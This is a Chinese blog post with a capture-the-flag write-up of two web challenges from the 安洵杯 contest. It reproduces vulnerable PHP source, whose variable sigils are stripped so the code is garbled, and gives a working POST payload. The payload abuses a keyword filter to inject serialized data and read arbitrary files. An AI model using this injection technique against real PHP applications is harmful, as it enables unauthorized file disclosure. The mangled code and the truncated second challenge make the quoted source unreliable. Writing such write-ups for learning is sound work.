安洵杯web writeup

准备重新开始写博客了,先把上周安洵杯做出来的两道web发上来,之后可能会把之前本地写的学习笔记都放上来,有点懒,看情况。

easy_serialize_php

<?php

function = @_GET['f'];

function filter(img){filter_arr = array('php','flag','php5','php4','fl1g');
    filter = '/'.implode('|',filter_arr).'/i';
    return preg_replace(filter,'',img);
}

if(_SESSION){
    unset(_SESSION);
}

_SESSION["user"] = 'guest';_SESSION['function'] = function;

extract(_POST);

if(!function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!_GET['img_path']){
    _SESSION['img'] = base64_encode('guest_img.png');
}else{_SESSION['img'] = sha1(base64_encode(_GET['img_path']));
}serialize_info = filter(serialize(_SESSION));

if(function == 'highlight_file'){
    highlight_file('index.php');
}else if(function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if(function == 'show_image'){
    userinfo = unserialize(serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

传进入的img_path参数要sha1加密后面显然读取不出来..filter函数可以把字符变少 之前见过一个把字符变多的字符逃逸题目 变少的第一次见 就先叫它反向字符逃逸吧 让user把function里的字符吃掉,然后溢出一个img,再闭合掉后面的img

本地测了一下 需要构造出最终的序列化字符串形如下面这个

a:2:{s:4:"user";s:24:"";s:8:"function";s:26:"1";s:3:"img";s:8:"ZmxhZw==";}

传参的话也就是_SESSION[user]=flagflagflagflagflagflag&SESSION[function]=1";s:3:"img";s:12:"Y2VzaGkucGhw";}

然而本地报错了,这个a是3,但是user把function的内容吃掉之后序列化字符串里只有两个元素了,反序列化是不能正常进行的。

问题不大,自己再随意构造一个元素补上就OK了了

postdata:
_SESSION[user]=flagflagflagflagflagflag&SESSION[function]=1";s:3:"img";s:12:"Y2VzaGkucGhw";s:3:"abc";s:3:"abc";}

然后flag找自闭了。。

找了好久想起来phpinfo

去看了看果然有 好坑

然后读一下这个文件 得到根目录位置 再读一遍就行

easy_web

url链接上的img参数解两次base64,再16进制转ascii。可以得到有意义字符串。读取index.php内容如下

MD5真值碰撞之后rev一下逆序输出 img

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注